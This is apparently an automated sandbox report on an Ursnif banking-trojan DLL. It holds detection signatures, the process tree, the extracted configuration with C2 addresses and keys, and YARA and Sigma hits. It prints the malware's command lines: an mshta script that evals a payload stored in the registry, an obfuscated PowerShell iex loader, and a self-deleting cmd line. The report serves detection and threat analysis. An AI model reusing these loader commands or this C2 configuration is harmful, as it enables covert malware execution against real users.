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Windows Analysis Report
HxEWwh74qT

Overview

General Information

Sample Name:	HxEWwh74qT (renamed file extension from none to dll)
Analysis ID:	613862
MD5:	5d2b5cbd8a574c9e35309e21ecf93a0e
SHA1:	c15e583e28556f5d187197937b4d2a715ebf8ca7
SHA256:	52d14c9cd56aa41ba98a24a4a3dc3674f7e281c3d79f6aca141382fb56585bcd
Tags:	32dllexe
Infos:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Ursnif

System process connects to network (likely due to code injection or exploit)

Sigma detected: Windows Shell File Write to Suspicious Folder

Maps a DLL or memory area into another process

Writes to foreign memory regions

Changes memory attributes in foreign processes to executable or writable

Sigma detected: Accessing WinAPI in PowerShell. Code Injection

Sigma detected: Suspicious Remote Thread Created

Machine Learning detection for sample

Allocates memory in foreign processes

Uses ping.exe to check the status of other devices and networks

Self deletion via cmd delete

Sigma detected: MSHTA Spawning Windows Shell

Uses ping.exe to sleep

Injects code into the Windows Explorer (explorer.exe)

Sigma detected: Suspicious Call by Ordinal

Modifies the context of a thread in another process (thread injection)

Sigma detected: Mshta Spawning Windows Shell

Creates a thread in another existing process (thread injection)

Disables SPDY (HTTP compression, likely to perform web injects)

Writes registry values via WMI

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

One or more processes crash

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Searches for the Microsoft Outlook file path

Drops PE files

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Sigma detected: Suspicious Csc.exe Source File Folder

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Compiles C# or VB.Net code

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 7080 cmdline: loaddll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 7124 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 7148 cmdline: rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

control.exe (PID: 6020 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)

WerFault.exe (PID: 3380 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 608 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6148 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 604 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6048 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 612 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

mshta.exe (PID: 6304 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Lpje='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Lpje).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)

powershell.exe (PID: 6932 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

csc.exe (PID: 6024 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)

cvtres.exe (PID: 6432 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD841.tmp" "c:\Users\user\AppData\Local\Temp\pkbugtxo\CSC26C720E9EBC041F086604EECC7DD3CDD.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)

csc.exe (PID: 900 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lboh4mlq\lboh4mlq.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)

cvtres.exe (PID: 5516 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESED31.tmp" "c:\Users\user\AppData\Local\Temp\lboh4mlq\CSC3DF21D054A9F4C66BF1FA9CD771B1F79.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)

explorer.exe (PID: 3808 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

cmd.exe (PID: 3904 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\HxEWwh74qT.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

PING.EXE (PID: 6948 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)

RuntimeBroker.exe (PID: 4184 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)

cmd.exe (PID: 6652 cmdline: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user~1\AppData\Local\Temp\5771.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "pL7U8jIQ6Xyci+KwkOGf1cPW2/Fhd+dF//sxc+w06EDUcByHCNEeq3AMzyjoircBRXTmPPIhcdpmz3ebzg0LE5DJtHXLGNdffU4pfKjfVhDmO/39S4DkofaSw/DfVYS7XTULsvD4OgcLpBmdb9KtHDr5tcYukmu8ER2eGMJKWWH3QPIgCCGjluPn4AJBYaVv+PYiV87aKNKmQY2QyHTRdeOeR6t/zjeQ8WAxQr1ckNg8DXeFDVPzLqKlTMh9JNV1/WxJWw/i0NwLqKGVqwwhDZj7TdIN07N7A3Nsw4LKUmopfR2v3CfaFAElEJJF5iXQZdDs3LWMU3fma/lDGlnr41o8sOGT4DKtfI59bD0qne8=", "c2_domain": ["config.edge.skype.com", "67.43.234.14", "config.edge.skype.com", "67.43.234.37", "config.edge.skype.com", "67.43.234.47"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Q8tR9QJN7lLzOLle", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8,  *terminal* *debug**snif* *shark*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "999", "SetWaitableTimer_value": "1"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000014.00000002.766882377.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.391081269.00000000054A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000001D.00000003.518242223.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.439315042.00000000052AC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000001D.00000003.518050705.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.438131198.00000000053AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0000001D.00000000.517494573.0000000000500000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.491963654.0000000006098000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000001D.00000000.515954749.0000000000500000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.436001223.00000000054A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.438329210.00000000054A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000001D.00000000.516723035.0000000000500000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.438206007.0000000005429000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.391236122.00000000054A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.390852806.00000000054A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000014.00000002.766683570.000002DC007F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.390783473.00000000054A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000014.00000003.513984044.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.566002484.0000000004C79000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.390963737.00000000054A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000002.568306199.0000000002E80000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.391015018.00000000054A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000002.569427566.000000000512F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.390663420.00000000054A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.391212771.00000000054A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 7148	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: powershell.exe PID: 6932	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: powershell.exe PID: 6932	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xe23af:$b2: ::FromBase64String( 0x33246:$s1: -join 0x37d9b:$s1: -join 0xddd68:$s1: -join 0x2ecfc:$s4: += 0x2ed1b:$s4: += 0x2ed56:$s4: += 0x2ed73:$s4: += 0x2edae:$s4: += 0x2ee1a:$s4: += 0x2eea6:$s4: += 0x2efa5:$s4: += 0x30c1f:$s4: += 0x30c42:$s4: += 0x34718:$s4: += 0x36c27:$s4: += 0x36ca6:$s4: += 0x36ec1:$s4: += 0x36f44:$s4: += 0x378e3:$s4: += 0x37ce2:$s4: +=
Process Memory Space: control.exe PID: 6020	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.rundll32.exe.4de0000.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.3.rundll32.exe.5456940.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.3.rundll32.exe.53aa4a0.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.3.rundll32.exe.53aa4a0.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.3.rundll32.exe.4c794a0.10.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.3.rundll32.exe.4c794a0.10.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.3.rundll32.exe.54294a0.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.3.rundll32.exe.54294a0.2.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Windows Shell File Write to Suspicious Folder

Source: File created

Author: Florian Roth: Data: EventID: 11, Image: C:\Windows\System32\mshta.exe, ProcessId: 6304, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Caches

Sigma detected: Accessing WinAPI in PowerShell. Code Injection

Source: Threat created

Author: Nikita Nazarov, oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, SourceProcessId: 6932, StartAddress: DBEB1580, TargetImage: C:\Windows\explorer.exe, TargetProcessId: 3808

Sigma detected: Suspicious Remote Thread Created

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, SourceProcessId: 6932, StartAddress: DBEB1580, TargetImage: C:\Windows\explorer.exe, TargetProcessId: 3808

Sigma detected: MSHTA Spawning Windows Shell

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Lpje='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Lpje).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6304, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6932, ProcessName: powershell.exe

Sigma detected: Suspicious Call by Ordinal

Source: Process started

Author: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7124, ParentProcessName: cmd.exe, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1, ProcessId: 7148, ProcessName: rundll32.exe

Sigma detected: Mshta Spawning Windows Shell

Source: Process started

Author: Florian Roth: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Lpje='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Lpje).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6304, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6932, ProcessName: powershell.exe

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6932, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.cmdline, ProcessId: 6024, ProcessName: csc.exe

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6932, TargetFilename: C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.cmdline

Source: Process started

Author: frack113: Data: Command: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user~1\AppData\Local\Temp\5771.bi1", CommandLine: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user~1\AppData\Local\Temp\5771.bi1", CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3808, ParentProcessName: explorer.exe, ProcessCommandLine: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user~1\AppData\Local\Temp\5771.bi1", ProcessId: 6652, ProcessName: cmd.exe

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value ie

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report
HxEWwh74qT

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report HxEWwh74qT

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Windows Analysis Report
HxEWwh74qT